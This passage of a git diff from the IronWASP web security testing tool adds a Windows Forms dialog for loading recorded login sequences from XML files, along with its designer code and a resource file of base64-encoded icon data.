this.LoginRequestAsso.DestinationLog.Request.UserAgent, Workflow.WorkflowSource.User, Workflow.WorkflowType.Login); + Flow.SetInfo("RecordingXml", ToXml()); + Flow.SetName(this.Name); + return Flow; + } + + public static Recording FromWorkflow(Workflow.Workflow Flow) + { + Recording Rec = FromXml(Flow.Info["RecordingXml"]); + Rec.WorkflowId = Flow.Id; + return Rec; + } + } +} diff --git a/Iron/Recording/RecordingLoader.Designer.cs b/Iron/Recording/RecordingLoader.Designer.cs new file mode 100644 index 0000000..648192c --- /dev/null +++ b/Iron/Recording/RecordingLoader.Designer.cs @@ -0,0 +1,96 @@ +namespace IronWASP.Recording +{ + partial class RecordingLoader + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RecordingLoader)); + this.OpenRecordingFileDialog = new System.Windows.Forms.OpenFileDialog(); + this.LoadProgressBar = new System.Windows.Forms.ProgressBar(); + this.MessageLbl = new System.Windows.Forms.Label(); + this.LoadLL = new System.Windows.Forms.LinkLabel(); + this.SuspendLayout(); + // + // OpenRecordingFileDialog + // + this.OpenRecordingFileDialog.Filter = "Sequence Recordings|*sessrec"; + // + // LoadProgressBar + // + this.LoadProgressBar.Location = new System.Drawing.Point(12, 119); + this.LoadProgressBar.Name = "LoadProgressBar"; + this.LoadProgressBar.Size = new System.Drawing.Size(482, 23); + this.LoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.LoadProgressBar.TabIndex = 0; + this.LoadProgressBar.Visible = false; + // + // MessageLbl + // + this.MessageLbl.AutoSize = true; + this.MessageLbl.ForeColor = System.Drawing.Color.Red; + this.MessageLbl.Location = new System.Drawing.Point(12, 93); + this.MessageLbl.Name = "MessageLbl"; + this.MessageLbl.Size = new System.Drawing.Size(136, 13); + this.MessageLbl.TabIndex = 1; + this.MessageLbl.Text = " "; + // + // LoadLL + // + this.LoadLL.AutoSize = true; + this.LoadLL.Location = new System.Drawing.Point(12, 20); + this.LoadLL.Name = "LoadLL"; + this.LoadLL.Size = new System.Drawing.Size(108, 13); + this.LoadLL.TabIndex = 2; + this.LoadLL.TabStop = true; + this.LoadLL.Text = "Select Recording File"; + this.LoadLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadLL_LinkClicked); + // + // RecordingLoader + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(506, 154); + this.Controls.Add(this.LoadLL); + this.Controls.Add(this.MessageLbl); + this.Controls.Add(this.LoadProgressBar); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "RecordingLoader"; + this.Text = "Load a Sequence Recording from File"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.RecordingLoader_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.OpenFileDialog OpenRecordingFileDialog; + private System.Windows.Forms.ProgressBar LoadProgressBar; + private System.Windows.Forms.Label MessageLbl; + private System.Windows.Forms.LinkLabel LoadLL; + } +} \ No newline at end of file diff --git a/Iron/Recording/RecordingLoader.cs b/Iron/Recording/RecordingLoader.cs new file mode 100644 index 0000000..7a6ed11 --- /dev/null +++ b/Iron/Recording/RecordingLoader.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.IO; +using System.Threading; + +namespace IronWASP.Recording +{ + public partial class RecordingLoader : Form + { + static RecordingLoader OpenLoader = null; + + Thread RecordingLoadThread = null; + + public RecordingLoader() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenLoader = new RecordingLoader(); + OpenLoader.Show(); + } + OpenLoader.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenLoader == null) + { + return false; + } + else if (OpenLoader.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void LoadLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + OpenRecordingFileDialog.Title = "Open a Recording File"; + while (OpenRecordingFileDialog.ShowDialog() == DialogResult.OK) + { + FileInfo OpenedFile = new FileInfo(OpenRecordingFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + String RecordingXml = Reader.ReadToEnd(); + Reader.Close(); + try + { + RecordingLoadThread.Abort(); + } + catch { } + RecordingLoadThread = new Thread(LoadRecording); + RecordingLoadThread.Start(RecordingXml); + LoadLL.Enabled = false; + ShowMessage(false, "Loading recording, this could take a few minutes. Please wait...."); + LoadProgressBar.Visible = true; + break; + } + } + + void LoadRecording(object XmlObj) + { + try + { + Recording Rec = Recording.FromXml(XmlObj.ToString()); + if (Recording.Has(Rec.Name)) + { + ShowMessage(true, "Unable to load this recording, a recording with this name is already loaded."); + } + if (Rec.IsLoginRecordingReplayable()) + { + Recording.Add(Rec); + ShowMessage(false, "Recording loaded successfully! Now you can make use of it in scans and tests."); + } + else + { + ShowMessage(true, "Unable to load this recording, attempt to replay it failed."); + } + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error loading Recording File", Exp); + ShowMessage(true, "Invalid recording! Could not be loaded."); + } + } + + delegate void ShowMessage_d(bool Error, string Message); + void ShowMessage(bool Error, string Message) + { + if (MessageLbl.InvokeRequired) + { + ShowMessage_d CALL_d = new ShowMessage_d(ShowMessage); + MessageLbl.Invoke(CALL_d, new object[] { Error, Message }); + } + else + { + MessageLbl.Text = Message; + if (Error) + { + MessageLbl.ForeColor = Color.Red; + } + else + { + MessageLbl.ForeColor = Color.Black; + } + LoadProgressBar.Visible = false; + LoadLL.Enabled = true; + } + } + + private void RecordingLoader_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + RecordingLoadThread.Abort(); + } + catch { } + } + } +} diff --git a/Iron/Recording/RecordingLoader.resx b/Iron/Recording/RecordingLoader.resx new file mode 100644 index 0000000..8304ff1 --- /dev/null +++ b/Iron/Recording/RecordingLoader.resx @@ -0,0 +1,1921 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + 